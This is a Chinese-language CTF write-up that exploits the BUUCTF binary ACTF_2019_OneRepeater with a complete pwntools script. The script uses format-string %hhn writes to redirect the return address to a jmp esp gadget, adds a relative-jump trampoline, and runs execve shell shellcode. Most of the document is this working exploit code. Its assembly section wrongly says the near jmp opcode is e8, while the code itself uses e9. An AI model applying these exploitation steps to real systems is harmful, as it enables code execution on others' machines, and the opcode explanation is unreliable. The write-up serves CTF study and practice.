buu刷题记录,actf_2019_onerepeater

分析

拿到elf文件checksec一波,无任何保护,栈可执行,那么多半是要把程序流劫持到栈上执行shellcode了,拖进ida里面。

逻辑比较简单,菜单题,然后选项2是明显的格式化字符串漏洞,1选项就是读入0x400字节的数据。首先找到jmp espgadget

有就很好办了,利用格式化字符串改掉返回地址为这个gadget,然后再在后面写一个跳板指令跳到缓冲区内,只要在退出之前把缓冲区写上shellcode就可以很快get shell了。

先通过测试偏移,发现buf在格式化字符串函数的第16个参数。

那么我们先把返回地址劫持了再说,经过调试发现返回地址在buf+0x41c的位置上。

写出部分exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
jmp_esp=0x08048907# : jmp esp
for i in range(4):
byte=jmp_esp&0xff
jmp_esp>>=8
p.sendlineafter(b'Exit',b'1')
p.recvline()
x=p.recvline()
stack=int(x,16)
success('stack:'+hex(stack))
payload=(b'%'+str(byte).encode()+b'c%24$hhn').ljust(0x20,b'\0')+p32(stack+0x41c+i)
#print(payload)
#print(hex(len(payload)))
p.send(payload)

p.sendlineafter(b'Exit',b'2')

部分汇编知识

这里需要讲一讲汇编的知识了,因为我们在jmp esp的时候esp是指向我们返回地址的后面一格,所以eip等会会指向ret_addr+4的位置上,那么这个位置我们写些什么呢,当然直接写shellcode是肯定没问题的,实际操作也不会太难,一个循环解决,但是当复杂起来的时候这个就有点难,所以再需要一个跳板指令执行jmp buf,这里我们讲讲jmp的实现,jmp的编码是5个字节,其实有分大跳小跳,小跳只要两个字节,但是只能跳前后0x7f以内的位置。这里要跳到buf显然要用大跳了,大跳的编码是e8 后面跟上小端的int字节序。这个int字节呢代表偏移。

平时我们看到的jmp 0x400689这些实际编码都不是这样子编码

1
e8 89 06 40 00

而是会根据这个指令所处的位置,然后计算下一条指令到我要跳转的指令位置的数值作为jmp的参数。

举个例子,假如这个jmp 0x400689所处的位置是0x400500。那么它的编码将是

0x400689-(0x400500+5)=0x134

1
e8 34 01 00 00

这样子得到的。

如果是往低地址跳那就用负数表示。

这里呢我们要往buf跳,也就是低地址跳转,那么我们指令的位置是buf+0x420,所以得到偏移0x425,因为指令长度占了五个,跳转的起始位置是执行完这个指令的下一个位置。

取负数得到0xfffffbdb

我们就得到了跳板指令的编码

1
e8 db fb ff ff

同样在下方部署这些字节。

1
2
3
4
5
6
7
8
9
10
11
12
shellcode=b'\xe9\xdb\xfb\xff\xff'
for i in range(5):
w=shellcode[i]
print(type(w))
p.sendlineafter(b'Exit',b'1')
p.recvline()
x=p.recvline()
stack=int(x,16)
success('stack:'+hex(stack))
payload=(b'%'+str(w).encode()+b'c%24$hhn').ljust(0x20,b'\0')+p32(stack+0x420+i)
p.send(payload)
p.sendlineafter(b'Exit',b'2')

那么最后指令就会跳转到buf上,在选择3之前在buf上填一遍shellcode就完事了

1
2
3
4
5
6
7
8
p.sendlineafter('Exit',b'1')
p.recvline()
p.recvline()
p.send(asm(shellcraft.sh()))

p.sendlineafter('Exit',b'3')
gdb.attach(p,'b *0x80486FA\nb *0x80487C6')
p.interactive()

运行结果

可以看到通过两次跳转,程序成功执行到了shellcode,然后就愉快的cat flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.log_level='debug'
context.arch='i386'
def conn(x,file_name,port=9999):
if x:
p=process(file_name)
libc=ELF('./libc/libc-2.23-64.so')
else:
p=remote('node4.buuoj.cn',port)
libc=ELF('./libc/libc-2.23-buu64.so')
return ELF(file_name),libc,p


elf,libc,p=conn(1,'./ACTF_2019_OneRepeater',port=26602)

jmp_esp=0x08048907# : jmp esp
for i in range(4):
byte=jmp_esp&0xff
jmp_esp>>=8
p.sendlineafter(b'Exit',b'1')
p.recvline()
x=p.recvline()
stack=int(x,16)
success('stack:'+hex(stack))
payload=(b'%'+str(byte).encode()+b'c%24$hhn').ljust(0x20,b'\0')+p32(stack+0x41c+i)
#print(payload)
#print(hex(len(payload)))
p.send(payload)

p.sendlineafter(b'Exit',b'2')

shellcode=b'\xe9\xdb\xfb\xff\xff'
for i in range(5):
w=shellcode[i]
print(type(w))
p.sendlineafter(b'Exit',b'1')
p.recvline()
x=p.recvline()
stack=int(x,16)
success('stack:'+hex(stack))
payload=(b'%'+str(w).encode()+b'c%24$hhn').ljust(0x20,b'\0')+p32(stack+0x420+i)
p.send(payload)
p.sendlineafter(b'Exit',b'2')

p.sendlineafter('Exit',b'1')
p.recvline()
p.recvline()
p.send(asm(shellcraft.sh()))

#p.sendlineafter('Exit',b'3')

#print(shellcraft.sh())


gdb.attach(p,'b *0x80486FA\nb *0x80487C6')
p.interactive()